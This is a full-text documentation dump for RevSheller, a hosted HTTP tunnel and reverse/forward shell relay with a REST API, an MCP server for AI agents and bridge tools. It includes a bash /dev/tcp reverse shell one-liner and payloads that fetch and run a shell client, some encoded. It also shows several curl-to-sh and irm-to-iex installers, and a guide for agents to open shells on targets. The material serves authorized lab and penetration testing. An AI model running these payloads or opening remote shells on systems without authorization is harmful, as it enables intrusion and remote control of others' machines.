# RevSheller > RevSheller runs on Cloudflare's edge and does two things. HTTP tunnels expose a local web server at a public https URL, for webhook testing, sharing a dev server, demos and mobile testing (registered accounts only). The shell relay is a hosted reverse and forward shell listener: create a session, run one payload on a machine you are authorized to test, and get an interactive shell in the browser or over an authenticated WebSocket, with no listener, VPS, or port forwarding to run yourself. Status: free beta. All features are unlocked for every registered account. During the beta, each account gets 2 tunnels at a time, 10 GiB of tunnel traffic a month, and up to 8 hours per tunnel; per-plan tunnel limits after the beta are on https://revsheller.com/pricing#tunnel-limits. Paid plans (Pro and Pro Plus) are planned for after the beta and are not final: Pro is planned at $3/mo or $12/yr, Pro Plus at $5/mo or $48/yr, and Free is a limited tier (1 session, 5 minute idle timeout) for trying it out. Beta users will get a launch discount when paid plans start. Agent, API, and MCP access is free during the beta and planned as Pro Plus only afterwards. An MCP server for AI agents is live at https://revsheller.com/mcp. ## Intended use For authorized security testing only: your own systems, CTFs, training labs, and engagements with explicit written permission. This applies equally to AI agents and automation; the account holder is responsible for what an agent connects to. Do not use RevSheller against systems you do not own or have permission to test. Report misuse at /abuse. ## Docs - [Tunnel documentation](https://revsheller.com/api-docs#tunnels): client quickstart and options, REST endpoints, MCP tools, limits, the visitor warning page, and the cookie caveat - [API documentation](https://revsheller.com/api-docs): endpoints, auth, WebSocket protocol, and an "For AI agents" section - [OpenAPI description](https://revsheller.com/openapi.json): the REST API as OpenAPI 3.1 - [Full text](https://revsheller.com/llms-full.txt): this file plus the docs, about page and every guide in one file - [About](https://revsheller.com/about): what it is, how it works, limitations - [Pricing](https://revsheller.com/pricing): free beta and planned plans - [Terms of Service](https://revsheller.com/terms) - [Feedback](https://revsheller.com/feedback): report a bug or request a feature - [Report abuse](https://revsheller.com/abuse) - [Privacy Policy](https://revsheller.com/privacy) ## Guides - [Guides index](https://revsheller.com/guides/): all practical guides, for tunnels and for CTFs and labs - [Expose localhost and share a dev server](https://revsheller.com/guides/expose-localhost-share-dev-server): a public https URL for a local server, Host headers for Vite and webpack, WebSockets, phones - [Test a local site on your phone](https://revsheller.com/guides/test-local-site-on-phone): open a localhost dev server on a real phone over https to test mobile browsers and https-only APIs - [Test Stripe webhooks locally](https://revsheller.com/guides/test-stripe-webhooks-locally): point a Stripe or GitHub webhook at your laptop and verify signatures on the raw body - [Give localhost a public https URL](https://revsheller.com/guides/localhost-public-url): what tunnels do, the beta limits, and what they do not cover - [Catch a reverse shell without a VPS](https://revsheller.com/guides/reverse-shell-listener-without-vps): create a session, pick a payload and connect, with no VPS or port forwarding - [Hosted listener for TryHackMe and HackTheBox](https://revsheller.com/guides/tryhackme-hackthebox-listener): what works from lab networks, what to do when the target has no internet, and the limits - [Give Claude shell access to lab targets via MCP](https://revsheller.com/guides/ai-agent-shell-mcp): connect Claude Code, Claude Desktop or another MCP client with an API key - [Callbacks behind NAT, CGNAT or campus Wi-Fi](https://revsheller.com/guides/listener-behind-nat-cgnat): why port forwarding fails and how a hosted listener over port 443 avoids it - [revsheller vs nc -lvnp](https://revsheller.com/guides/netcat-listener-alternative): an honest comparison with a local netcat listener, including when plain nc is better - [Windows PowerShell listener with ConPTY](https://revsheller.com/guides/windows-reverse-shell-listener-powershell): the pure-PowerShell client, what ConPTY adds and its limits ## API in brief Base URL: https://revsheller.com/api. Authenticate with `Authorization: Bearer rsh_...` (API key, created while signed in on /account). - `POST /api/session` creates a session (reverse by default; `{"mode":"forward","targetHost":"...","targetPort":N}` for forward). Returns `session.id`, `operatorSecret`, `targetSecret`, `payloads`, `operatorUrl`. - `GET /api/session/{id}` with `Authorization: Bearer op_...` returns session state. - `DELETE /api/session/{id}` with `Authorization: Bearer op_...` tears the session down. - `POST /api/payload/generate` generates a payload for a session (`type`, `slug`, `token`, optional `variant`, `encoding`). - Operator shell I/O: WebSocket to `operatorUrl` (`wss://{id}.revsheller.com/ws/operator`) with the header `Sec-WebSocket-Protocol: token.op_...`. There is no HTTP operator endpoint. - `GET /api/config` returns `beta` and `billingEnabled`. ## MCP server Remote MCP over Streamable HTTP (stateless, JSON): `POST https://revsheller.com/mcp` with `Authorization: Bearer rsh_...`. Setup guide: https://revsheller.com/api-docs#mcp - Claude Code: `claude mcp add --transport http revsheller https://revsheller.com/mcp --header "Authorization: Bearer rsh_..."` - Claude Desktop: `npx -y mcp-remote@0.16.7 https://revsheller.com/mcp --header "Authorization: Bearer ${RSH_KEY}"` Tools: `create_session`, `get_target_command`, `session_status`, `send_input`, `read_output`, `run_command`, `list_sessions`, `close_session`. Workflow: create_session, run the returned target command on a machine you are authorized to test, poll session_status until targetConnected, then run_command. Only sessions created by the same account are reachable. Free during the beta (max 5 concurrent sessions); Pro Plus after. Run one run_command at a time per session; output buffers are 256 KiB and can reset after hibernation. Shell I/O is relayed live and is not stored. --- This is the full-text version of https://revsheller.com/llms.txt. An OpenAPI description of the REST API is at https://revsheller.com/openapi.json. --- # Docs – RevSheller | HTTP Tunnels and Shell Relay API Source: https://revsheller.com/api-docs ### Documentation RevSheller does two things: HTTP tunnels that expose a local web server at a public https URL, and an API to create and manage reverse and forward shell sessions. During the free beta, every registered account has API access. After the beta, shell API access is planned to require Pro Plus. Building an AI agent integration? Jump to For AI agents. On this page: HTTP tunnels · Shell sessions · WebSocket protocol · For AI agents · MCP server #### Authentication All API requests require a Bearer token using your API key: ``` Authorization: Bearer rsh_your_api_key_here ``` Generate your API key on the [account page](https://revsheller.com/account) while signed in. Keys are free during the beta. Afterwards, any account with tunnel access can create one for tunnels, while the shell session API and MCP are planned for Pro Plus. #### Base URL ``` https://revsheller.com/api ``` #### HTTP tunnels A tunnel gives a web server on your machine a public https URL on `revshell.org`, such as `https://tn-k3v9q2m7xa.revshell.org`. A small client on your machine holds an outbound WebSocket to `revsheller.com`, and requests to the URL are forwarded down it to `http://127.0.0.1:`. WebSocket upgrades are forwarded too. Tunnels need a registered account and an API key, and are free during the beta. Walkthroughs: [share a dev server](https://revsheller.com/guides/expose-localhost-share-dev-server), [test Stripe webhooks](https://revsheller.com/guides/test-stripe-webhooks-locally), [tunnel basics and limits](https://revsheller.com/guides/localhost-public-url). ##### Quickstart Nothing needs to be installed first. Create an API key on the [account page](https://revsheller.com/account), start your server, then run one command. It opens a menu that asks for the key (and can save it), the port, and whether to start a new tunnel or attach to, list or delete existing ones: ``` # macOS / Linux (curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | sh # Windows PowerShell irm https://revsheller.com/tn.ps1 | iex # Windows cmd curl -fsSLo "%TEMP%\tn.cmd" https://revsheller.com/tn.cmd && "%TEMP%\tn.cmd" ``` For scripts, skip the menu and pass the command directly (port 3000 here): ``` # macOS / Linux (curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | RSH_API_KEY=rsh_your_api_key sh -s -- http 3000 # Windows PowerShell $env:RSH_API_KEY="rsh_your_api_key"; & ([scriptblock]::Create((irm https://revsheller.com/tn.ps1))) http 3000 # Windows cmd set "RSH_API_KEY=rsh_your_api_key" & curl -fsSLo "%TEMP%\tn.cmd" https://revsheller.com/tn.cmd && "%TEMP%\tn.cmd" http 3000 ``` `/tn.sh` and `/tn.ps1` are short scripts you can read first. They download a small native client for your OS and CPU (macOS and Linux on x86_64 or arm64, 64-bit Windows), check it against the SHA-256 pinned in the script, and cache it in `~/.cache/revsheller` or `%LOCALAPPDATA%\revsheller`. Later runs reuse the cached copy. On Windows the script defines a `revsheller` command for that PowerShell window. In POSIX shells, put `RSH_API_KEY=…` in front of `sh`, not `curl`: a variable prefix applies only to the command it precedes. You can also download a client directly and run it yourself: [linux-amd64](https://revsheller.com/assets/bin/rsh-tunnel-linux-amd64), [linux-arm64](https://revsheller.com/assets/bin/rsh-tunnel-linux-arm64), [macOS arm64](https://revsheller.com/assets/bin/rsh-tunnel-darwin-arm64), [macOS x86_64](https://revsheller.com/assets/bin/rsh-tunnel-darwin-amd64), [Windows x64](https://revsheller.com/assets/bin/rsh-tunnel-windows-amd64.exe). The checksums are in [manifest.json](https://revsheller.com/assets/bin/manifest.json). With Node.js 22 or newer, the same client is also served as one self-contained JavaScript file: `curl -fsSL https://revsheller.com/tn | RSH_API_KEY=rsh_your_api_key node - http 3000` (PowerShell: `curl.exe -fsSL https://revsheller.com/tn | node - http 3000`). The client prints the public URL and one log line per request. It reconnects with backoff if the network drops, and Ctrl-C deletes the tunnel. Random URLs are never reused. You can also create and manage tunnels on the [tunnels page](https://revsheller.com/login?next=/tunnels) while signed in. API key lookup. The client reads the key from `RSH_API_KEY`, then from `~/.config/revsheller/config.json` (written by `--save`), then asks on the terminal with input hidden. It refuses a key passed as a command-line argument, because arguments leak into shell history and process lists. ##### Client options Usage: `http [options]`, after `sh -s --`, `revsheller`, the downloaded binary or `node -`. Option | What it does | `--host ` | Local host to forward to (default `127.0.0.1`). Use it for a server on IPv6 only, in a VM, or on another LAN machine. Tunnel domains are refused. | `--host-header ` | `rewrite` (default) sends `Host: localhost:`, which dev servers accept. `preserve` sends the public tunnel hostname. | `--name ` | Use a reserved name you own (`.revshell.org`). Reserved names are planned for Pro and Pro Plus and are not part of the beta. | `--tunnel ` | Attach to a tunnel you already created on the tunnels page, over REST or over MCP, instead of creating a new one. | `--api ` | API origin (default `https://revsheller.com`). | `--quiet` | No per-request log lines. | `--log json` | Per-request log as JSON lines. | `--save` | Save the API key to `~/.config/revsheller/config.json`. | `-h`, `--help` / `-v`, `--version` | Show help or print the client version. | ##### REST endpoints Base URL `https://revsheller.com/api`. Authenticate with `Authorization: Bearer rsh_...` or a signed-in browser session. Endpoint | What it does | `POST /api/tunnels` | Create a tunnel. Optional body `{"name": "..."}` for a reserved name you own. Returns `201` with `tunnel` and `connectUrl`. | `GET /api/tunnels` | Your tunnels with live status (`online`, `streams`, `wsCount`, `lastSeen`, `suspended`), this month's `usage`, and your `limits`. | `DELETE /api/tunnels/:id` | Disconnect the client, stop serving the URL and free the slot. | `GET /api/tunnel-names` | Your reserved names and `maxReservedNames`. | `POST /api/tunnel-names` | Reserve `{"name": "..."}` (planned for Pro and Pro Plus). | `DELETE /api/tunnel-names/:name` | Release a name and close its open tunnel. | ``` # Create a tunnel, then attach the client to it curl -s -X POST https://revsheller.com/api/tunnels \ -H "Authorization: Bearer rsh_your_api_key" # Response (201 Created) { "tunnel": { "id": "tn-k3v9q2m7xa", "hostname": "tn-k3v9q2m7xa.revshell.org", "url": "https://tn-k3v9q2m7xa.revshell.org", "kind": "random", "createdAt": 1710000000000, "expiresAt": 1710028800000, "limits": { "maxTunnels": 2, "bytesPerMonth": 10737418240, ... } }, "connectUrl": "wss://revsheller.com/api/tunnels/tn-k3v9q2m7xa/connect" } curl -fsSL https://revsheller.com/tn | RSH_API_KEY=rsh_your_api_key node - http 3000 --tunnel tn-k3v9q2m7xa ``` `expiresAt` is `null` on plans without a lifetime cap. Errors use the usual `{"error": "..."}` body: `403` without an account or for a reserved name you don't own, `404` for an unknown tunnel, `409` for a taken name, `429` at the tunnel or name limit (the body includes `limitHit`) or when rate limited, and `503` while tunnels are switched off. ##### MCP tools The MCP server has three tunnel tools. They follow the same limits as the REST API. - `tunnel_create` (`port`, default 3000; optional `name`) returns `tunnel_id`, `url`, `expires_at` and a `connect_command` (`posix` and `powershell`) for you to run on your machine. The command contains the placeholder `rsh_YOUR_KEY`: replace it with your own key. The agent never sees or handles your key. - `tunnel_list` returns your tunnels with `online`, expiry and this month's bandwidth use. - `tunnel_delete` (`tunnel_id`) closes a tunnel and frees the slot. ##### Limits During the beta, every registered account gets: 2 tunnels at a time, 10 GiB of traffic a month, a lifetime of up to 8 hours per tunnel, 600 requests a minute per tunnel, request bodies up to 25 MB, 100 concurrent requests and 20 open visitor WebSockets per tunnel. Reserved names are not part of the beta. Traffic counts request and response bodies, WebSocket messages in both directions, and an estimate of header size. When a tunnel reaches its lifetime, the client opens a new one with a new URL. The planned limits per plan are on the [pricing page](https://revsheller.com/pricing#tunnel-limits). Other fixed limits: the tunnel waits up to 100 seconds for your server to start responding (then `504`). A WebSocket message can be up to 1 MiB. If the client disconnects, the tunnel waits 10 minutes for it to reconnect before closing. Over a limit, visitors get `429` (rate or monthly bandwidth), `413` (body size) or `503` (concurrent requests), and an offline client gives `502`. ##### The visitor warning page A browser loading a page on a tunnel (a GET that asks for HTML) first sees a short RevSheller notice naming the host. Continue sets a host-only `__Host-rs_tn_ack` cookie for 7 days, and the browser then goes straight to your app. Requests that don't ask for HTML, such as webhooks, `curl` and `fetch()` calls, skip the page, and so does any request with the header `X-RevSheller-Skip-Warning: 1`. That cookie is removed before the request reaches your server. ##### What your server receives - `X-Forwarded-For` (the visitor's IP), `X-Forwarded-Proto: https` and `X-Forwarded-Host` (the tunnel hostname). Inbound `X-Forwarded-*` headers from visitors are replaced, never passed through. - With the default `--host-header rewrite`, `Host: localhost:`. - `/robots.txt` on a tunnel host is answered with `Disallow: /`, and responses carry `X-Robots-Tag: noindex, nofollow`. ##### Cookies: don't rely on isolation between tunnels yet Each tunnel has its own hostname, and the relay makes every `Set-Cookie` from your server host-only by removing its `Domain` attribute. Tunnels are also on a separate domain from `revsheller.com`, so tunneled apps can't touch your RevSheller session. But `revshell.org` is not yet on the [Public Suffix List](https://publicsuffix.org/). Until it is, JavaScript running on one tunnel can set a cookie with `Domain=revshell.org`, and browsers will send it to every other tunnel. Treat cookies on a tunnel as visible to, and settable by, other tunnels: don't put long-lived secrets in cookies, and don't trust a cookie only because your app expects to have set it. ##### Acceptable use No phishing, malware or command-and-control. Reported tunnels can be suspended, and three separate reports within 24 hours suspend a tunnel automatically. A suspended tunnel's client stops and does not reconnect. See the [Terms of Service](https://revsheller.com/terms), and report misuse at [/abuse](https://revsheller.com/abuse). #### Shell session endpoints #### Create a session (reverse shell) Creates a new reverse shell session and returns connection details + pre-generated payloads. ``` # Request curl -X POST https://revsheller.com/api/session \ -H "Authorization: Bearer rsh_your_api_key" \ -H "Content-Type: application/json" # Response (200 OK) { "session": { "id": "abc12345", "operatorSecret": "op_a1b2c3d4e5f6...", "targetSecret": "tgt_f6e5d4c3b2a1...", "operatorConnected": false, "targetConnected": false, "createdAt": 1710000000000, "idleTimeoutMs": 3600000, "mode": "reverse" }, "payloads": { "auto": "sh -c \"for c in python3 python py; do ...\"", "auto_windows": "powershell -NoProfile -Command \"& { ... }\"" }, "operatorUrl": "wss://abc12345.revsheller.com/ws/operator", "httpBase": "https://abc12345.revsheller.com", "wsBase": "wss://abc12345.revsheller.com", "pathPrefix": "", "plan": "api", "limits": { "maxSessions": null, "idleTimeoutMs": 3600000 } } ``` #### Create a session (forward shell) Creates a forward shell session — RevSheller connects outbound to a target host:port and relays it to your operator WebSocket. Free during the beta; planned for Pro Plus afterwards. The target must be reachable on a public IP (private/RFC1918 addresses and port 25 are blocked). ``` # Request curl -X POST https://revsheller.com/api/session \ -H "Authorization: Bearer rsh_your_api_key" \ -H "Content-Type: application/json" \ -d '{ "mode": "forward", "targetHost": "203.0.113.5", "targetPort": 4444 }' # Response (200 OK) { "session": { "id": "xyz98765", "operatorSecret": "op_a1b2c3d4e5f6...", "targetSecret": "tgt_f6e5d4c3b2a1...", "operatorConnected": false, "targetConnected": false, "createdAt": 1710000000000, "idleTimeoutMs": 3600000, "mode": "forward", "targetHost": "203.0.113.5", "targetPort": 4444 }, "payloads": {}, "operatorUrl": "wss://xyz98765.revsheller.com/ws/operator", ... } # Error: wrong plan (403) { "error": "Forward shells require a Pro Plus subscription." } # Error: private IP (400) { "error": "Cannot connect to private/reserved addresses. Target must be a public IP or hostname." } ``` Once created, connect as operator via WebSocket (same as reverse shells). The TCP connection to the target is initiated automatically when the operator WebSocket connects. No payloads are generated since no code runs on the target — RevSheller connects directly. #### Get session info Returns the current status of a session. Requires the operator secret. ``` # Request curl https://revsheller.com/api/session/abc12345 \ -H "Authorization: Bearer op_a1b2c3d4e5f6..." # Response (200 OK) { "id": "abc12345", "operatorConnected": true, "targetConnected": false, "createdAt": 1710000000000, "idleTimeoutMs": 3600000 } # Response (404 — wrong token or non-existent session) { "error": "Session not found" } ``` #### Delete a session Tears down a session and releases the session slot. Requires the operator secret. ``` # Request curl -X DELETE https://revsheller.com/api/session/abc12345 \ -H "Authorization: Bearer op_a1b2c3d4e5f6..." # Response (200 OK) { "ok": true } ``` #### Generate a payload Generates a specific payload type for a session. Useful for custom integrations. ``` # Request curl -X POST https://revsheller.com/api/payload/generate \ -H "Authorization: Bearer rsh_your_api_key" \ -H "Content-Type: application/json" \ -d '{ "type": "auto", "slug": "abc12345", "token": "tgt_f6e5d4c3b2a1...", "variant": "posix", "encoding": "base64" }' # Response (200 OK) { "payload": "echo ... | base64 -d | sh" } ``` Optional `variant`: `posix` (default) or `windows` for the outer Python one-liner suited to cmd/PowerShell. #### WebSocket protocol After creating a session, connect as the operator via WebSocket to interact with the shell. Connecting: Use the `operatorUrl` from the create-session response. Authenticate by passing the operator secret in the `Sec-WebSocket-Protocol` subprotocol header: ``` # Using websocat (example) websocat "wss://abc12345.revsheller.com/ws/operator" \ --protocol "token.op_a1b2c3d4e5f6..." # Using wscat wscat -c "wss://abc12345.revsheller.com/ws/operator" \ -s "token.op_a1b2c3d4e5f6..." ``` The subprotocol value is the literal prefix `token.` followed by the operator secret. A missing or wrong token returns `404`. Data format: Regular binary frames are shell I/O (stdin/stdout). Control messages are prefixed with a `\x00` null byte followed by a JSON object: ``` # Control message format (binary frame): \x00{"type":"resize","cols":120,"rows":40} # Control message types: # resize — send terminal dimensions to the target shell # status — server → client status updates (e.g., target connected/disconnected) # ping — keepalive ``` Resize: When the operator's terminal size changes, send a resize control message so the target shell adapts: ``` // JavaScript example const msg = JSON.stringify({ type: "resize", cols: 120, rows: 40 }); ws.send(new Uint8Array([0, ...new TextEncoder().encode(msg)])); ``` #### For AI agents This section shows how an AI agent or automation can get shell access to your own lab and CTF machines through the API, with no listener infrastructure to run. Use it only against systems you own or have explicit written permission to test; you are responsible for what your agent does (see the [Terms of Service](https://revsheller.com/terms) and [abuse policy](https://revsheller.com/abuse)). All tokens below are placeholders. If your agent speaks MCP, skip the REST steps below and use the MCP server. The REST and WebSocket endpoints described here remain available for scripts and custom agents. ##### 1. Create an API key Sign in and generate a key on the [account page](https://revsheller.com/account). Under the hood this is `POST /api/auth/api-key`, which needs your signed-in browser session (cookie), not a Bearer token, and returns the raw key once. A new key replaces the old one. `GET /api/auth/api-key` only returns a masked placeholder. Keys start with `rsh_`. Send the key as `Authorization: Bearer rsh_...` when creating sessions. ``` # Signed-in browser session only (cookie), shown for reference: POST /api/auth/api-key { "apiKey": "rsh_your_api_key", "scope": "full", "message": "Save this key — it won't be shown again." } ``` ##### 2. Create a session ``` curl -s -X POST https://revsheller.com/api/session \ -H "Authorization: Bearer rsh_your_api_key" \ -H "Content-Type: application/json" ``` The response contains `session.id`, `session.operatorSecret` (`op_...`), `session.targetSecret` (`tgt_...`), `payloads`, and `operatorUrl`. Keep the secrets out of logs and prompts you do not control. ##### 3. Get the payload to run on your target For reverse sessions the create response already includes the target commands: `payloads.auto` (Unix) and `payloads.auto_windows` (Windows). Run the one that fits on a machine you are authorized to test. To regenerate one later, or to pick an encoding, call `POST /api/payload/generate` with the session `id` as `slug` and the `targetSecret` as `token` (see above). `GET /api/session/:id` with the operator secret returns the session state and `targetSecret` but not the payload strings. For forward sessions (`"mode": "forward"` with `targetHost` and `targetPort`), there is no payload; RevSheller connects out to the host you name. ``` curl -s https://revsheller.com/api/session/SESSION_ID \ -H "Authorization: Bearer op_your_operator_secret" # -> operatorConnected, targetConnected, mode, targetSecret, operatorUrl, ... ``` ##### 4. Connect as operator over WebSocket Open `operatorUrl` (`wss://SESSION_ID.revsheller.com/ws/operator`). The path-based fallback is `wss://revsheller.com/s/SESSION_ID/ws/operator`. Pass the operator secret in the `Sec-WebSocket-Protocol` header as `token.op_your_operator_secret`. Do not put it in the URL. Only one operator connection is allowed per session at a time. Binary frames are shell I/O; frames starting with a `\x00` byte carry JSON control messages (see WebSocket protocol). ``` websocat "wss://SESSION_ID.revsheller.com/ws/operator" \ --protocol "token.op_your_operator_secret" ``` There is no HTTP operator endpoint. The `/t/up`, `/t/data` and `/t/down` HTTP routes are the target side of the curl transport, not for operators, so agents should use the WebSocket. Poll `GET /api/session/:id` if you need to know whether the target has connected. ##### 5. Delete the session ``` curl -s -X DELETE https://revsheller.com/api/session/SESSION_ID \ -H "Authorization: Bearer op_your_operator_secret" # -> { "ok": true } ``` Always delete sessions when the agent is done. Sessions also end on their idle timeout. ##### Plans and beta notes - During the free beta, every registered account is treated as Pro Plus: API keys, forward shells, custom subdomains, and unlimited sessions are available. Anonymous requests without an account stay on the free limits (1 session, 5 minute idle timeout) and cannot use API keys. - After the beta, agent, API, and MCP access is planned to be Pro Plus only. Plans and prices are on the [pricing page](https://revsheller.com/pricing) and are not final. - Check `GET /api/config` for `beta` and `billingEnabled`. - Forward shells reach only public hosts (private ranges and port 25 are blocked), and are limited per user and per IP. - Requests are rate limited per IP; expect `429` and back off. - A machine-readable summary is at [/llms.txt](https://revsheller.com/llms.txt). #### MCP server RevSheller runs a remote [Model Context Protocol](https://modelcontextprotocol.io) server, so an AI agent can create a session, get the command to run on your target, and then run commands and read output, with no code to write. Use it only against systems you own or have explicit written permission to test; you are responsible for what your agent does. Endpoint: `POST https://revsheller.com/mcp` (Streamable HTTP, stateless, JSON responses, no SSE). Auth: `Authorization: Bearer rsh_...` with an API key from the [account page](https://revsheller.com/account). Cookies are not accepted and there is no CORS or OAuth. ##### Setup: Claude Code ``` claude mcp add --transport http revsheller https://revsheller.com/mcp \ --header "Authorization: Bearer rsh_your_api_key" ``` ##### Setup: Claude Desktop Claude Desktop reaches remote servers through the `mcp-remote` bridge. Add this to `claude_desktop_config.json`: ``` { "mcpServers": { "revsheller": { "command": "npx", "args": ["-y", "mcp-remote@0.16.7", "https://revsheller.com/mcp", "--header", "Authorization: Bearer ${RSH_KEY}"], "env": { "RSH_KEY": "rsh_your_api_key" } } } } ``` ##### Typical workflow - `create_session` returns a session id and `target_commands` (`posix` and `windows`). - Run the right command on your authorized target. - `session_status` until `targetConnected` is true. - `run_command` for each step; `close_session` when done. The browser can watch the same session at the same time: the agent never receives the operator secret, and both sides can type. ##### Tools Tool | Inputs | Returns | `create_session` | `mode` (reverse|forward), `target_host`, `target_port` (forward), `custom_subdomain` | session id, limits, `target_commands` | `get_target_command` | `session_id`, `variant` (posix|windows), `type` (default auto), `encoding` | command to run on the target | `session_status` | `session_id` | connection state, transport, mode, last status | `send_input` | `session_id`, `data` (max 16 KiB), `append_newline` (default true) | cursor, bytes written | `read_output` | `session_id`, `cursor`, `wait_ms` (0-25000), `max_bytes`, `strip_ansi` | output, next cursor, `more`, `dropped_bytes`, `reset` | `run_command` | `session_id`, `command`, `shell` (posix|powershell|cmd|raw), `timeout_ms` (1000-55000), `idle_ms`, `max_bytes` | output, `exit_code` / `success`, `completed`, `timed_out`, cursor | `list_sessions` | none | your sessions | `close_session` | `session_id` | `ok` | Forward sessions dial the target on the first `send_input` or `run_command`. A session that does not exist or belongs to someone else returns `Session not found`. ##### Gating and limits - Free during the beta for every registered account. After the beta, MCP and API keys are planned to be Pro Plus only; without access, `tools/list` still works but every tool call returns `Agent/MCP access requires Pro Plus`. - During the beta, at most 5 concurrent sessions per registered account (forward shells: 3). Sessions the agent creates count against the same limits as the web UI. - Only sessions created by your own account are reachable over MCP. - Requests are rate limited per IP and per key; expect HTTP 429 or JSON-RPC error -32029 and back off. Request bodies are capped at 64 KB. - Reading output does not count as activity, so polling cannot keep an idle session alive. Sending input does. Sessions still end at the idle timeout and the 5 hour lifetime cap. ##### Risks and caveats - One `run_command` at a time per session. Parallel calls interleave their output and markers. - Markers are shell dependent. `run_command` wraps your command with a unique end marker. A command that leaves the shell in a heredoc, pager, or REPL (python, mysql, less) never prints it, so the call times out with `completed: false`. Use `send_input` (Ctrl-C is `"\u0003"`) and `read_output` with the returned cursor to recover, or `shell: "raw"` to finish after `idle_ms` of silence. - Output buffer. Each session keeps the last 256 KiB of output. If the Durable Object is evicted (hibernation of WebSocket targets), the buffer is lost and the next read reports `reset: true`; `dropped_bytes` reports output you missed. - The target command is a secret. It embeds the target token. Run it only on machines you are authorized to test. - Limits are best effort. Rate limiters are per isolate; do not rely on them as a security boundary. #### Error reference All errors return JSON with an `error` field. Here are the possible status codes: Status | Meaning | Example Response | `400` | Bad request — missing or invalid parameters | `{ "error": "Email and password are required" }` | `401` | Unauthorized — invalid API key or credentials | `{ "error": "Invalid API key" }` | `403` | Forbidden — session limit reached or wrong plan | `{ "error": "Session limit reached (1 for free tier)." }` | `404` | Not found — session doesn't exist or wrong token | `{ "error": "Session not found" }` | `409` | Conflict — email already registered | `{ "error": "Email already registered" }` | `429` | Rate limited — too many requests | `{ "error": "Too many requests" }` | `500` | Internal server error | `{ "error": "Internal server error" }` | #### Payload type There is a single reverse shell type: `auto`. It starts with `sh` (Unix) or `powershell` (Windows) to locate Python, then uses Python stdlib to open a WebSocket, fetch the hosted client from `/assets/rs-python-ws.py`, and spawn an interactive shell (POSIX PTY or Windows pipes). `GET /api/payloads` returns metadata for this type. Session creation returns two pre-generated strings: `payloads.auto` (Unix) and `payloads.auto_windows` (Windows). Encoding options: `none`, `base64`, `urlencode`, `hex`, `powershell_b64` (for `-EncodedCommand`). #### Bridge agent (VPN networks) For targets on isolated networks (HackTheBox, TryHackMe, Offshore labs) that can't reach revsheller.com, a bridge runs on your VPN-connected machine and relays TCP connections to RevSheller via WebSocket. Free during the beta; planned for Pro Plus afterwards. ``` # Architecture: # Target (VPN) --TCP--> Bridge (your machine) --WSS--> RevSheller (cloud) --> Operator (browser) # 1. Create a session via API or browser SESSION_ID="abc12345" TGT_SECRET="tgt_f6e5d4c3b2a1..." # 2. Run bridge on your machine (connected to both VPN and internet) ./rsh-bridge \ --url wss://${SESSION_ID}.revsheller.com/ws/target \ --token ${TGT_SECRET} \ --listen 0.0.0.0:4444 # 3. On the target machine (VPN network), connect to your bridge: bash -i >& /dev/tcp/YOUR_VPN_IP/4444 0>&1 # The bridge forwards the TCP connection to RevSheller as a standard # WebSocket target connection. Your browser shell works normally. ``` ##### Bridge methods Four bridge methods are available. All are hosted at `revsheller.com/assets/`. Method | Install | Run | Binary (Go) | `curl -Lo rsh-bridge revsheller.com/assets/rsh-bridge-linux-amd64 && chmod +x rsh-bridge` | `./rsh-bridge --url wss://SLUG.revsheller.com/ws/target --token tgt_XXX --listen 0.0.0.0:4444` | Python | `pip3 install websockets && curl -O revsheller.com/assets/rsh-bridge.py` | `python3 rsh-bridge.py --url ... --token ... --listen 0.0.0.0:4444` | PowerShell | `curl -O revsheller.com/assets/rsh-bridge.ps1` | `pwsh rsh-bridge.ps1 -Url ... -Token ... -Listen 0.0.0.0:4444` | Bash (websocat) | `curl -Lo websocat github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl && chmod +x websocat` | `./websocat -b --protocol "token.tgt_XXX" "tcp-l:0.0.0.0:4444" "wss://SLUG.revsheller.com/ws/target"` | Binary downloads are available for Linux (amd64, arm64), macOS (amd64, arm64), and Windows (amd64). The bridge setup UI in the browser generates pre-filled commands with your session URL and token. #### Rate limits API requests are rate-limited to 20 requests per minute per IP address. Auth endpoints have stricter limits (3-5 req/min). #### Full example: create, connect and clean up ``` # 1. Create a session curl -s -X POST https://revsheller.com/api/session \ -H "Authorization: Bearer rsh_your_api_key" \ -H "Content-Type: application/json" | jq . # 2. Extract values from response SESSION_ID="abc12345" OP_SECRET="op_a1b2c3d4e5f6..." TGT_SECRET="tgt_f6e5d4c3b2a1..." # 3. Connect as operator (using websocat) websocat "wss://${SESSION_ID}.revsheller.com/ws/operator" \ --protocol "token.${OP_SECRET}" # 4. On target machine, run payloads.auto or payloads.auto_windows (sh/PowerShell + Python on target) # 5. Check session status curl -s https://revsheller.com/api/session/${SESSION_ID} \ -H "Authorization: Bearer ${OP_SECRET}" | jq . # 6. Generate a custom payload curl -s -X POST https://revsheller.com/api/payload/generate \ -H "Authorization: Bearer rsh_your_api_key" \ -H "Content-Type: application/json" \ -d "{ \"type\": \"auto\", \"slug\": \"${SESSION_ID}\", \"token\": \"${TGT_SECRET}\", \"variant\": \"posix\", \"encoding\": \"none\" }" | jq -r .payload # 7. Delete session when done curl -s -X DELETE https://revsheller.com/api/session/${SESSION_ID} \ -H "Authorization: Bearer ${OP_SECRET}" | jq . ``` --- # About – RevSheller | Localhost Tunnels and a Hosted Shell Relay Source: https://revsheller.com/about ## About RevSheller RevSheller runs on Cloudflare's network and does two things, with no VPS or port forwarding on your side. - HTTP tunnels. One command gives a web server on your machine a public https URL on `revshell.org`, for webhook testing, sharing a dev server, demos and testing on a phone. - The shell relay. A hosted listener for reverse shells. You create a listener, paste one command on a machine you are authorized to test, and the shell opens in your browser. Free during the beta. Tunnels need a free account; one shell session works without one. [Get a tunnel URL](https://revsheller.com/#tunnels) #### What the tunnel command does - It fetches a small client. The installer (`/tn.sh`, `/tn.ps1` or `/tn.cmd`) downloads a prebuilt client for your OS and checks it against a SHA-256 published in `/assets/bin/manifest.json` before running it. - It connects out with your API key. The client opens one outbound WebSocket to this site, authenticated with the key from your account page. Nothing listens on your machine. - It forwards requests. Requests to your tunnel URL travel over that connection to `localhost` and the responses go back the same way. Ctrl-C ends the tunnel and the URL stops answering. Tunnels live on `revshell.org`, a separate domain from this site, so a tunneled app cannot touch your RevSheller session. A browser visiting a tunnel sees a short warning page first; webhooks and API clients do not. Limits are on the [pricing page](https://revsheller.com/pricing#tunnel-limits). #### Who the shell relay is for People doing authorized work: CTF players, students in labs such as TryHackMe and HackTheBox, pentesters on engagements where they have written permission, and researchers testing their own 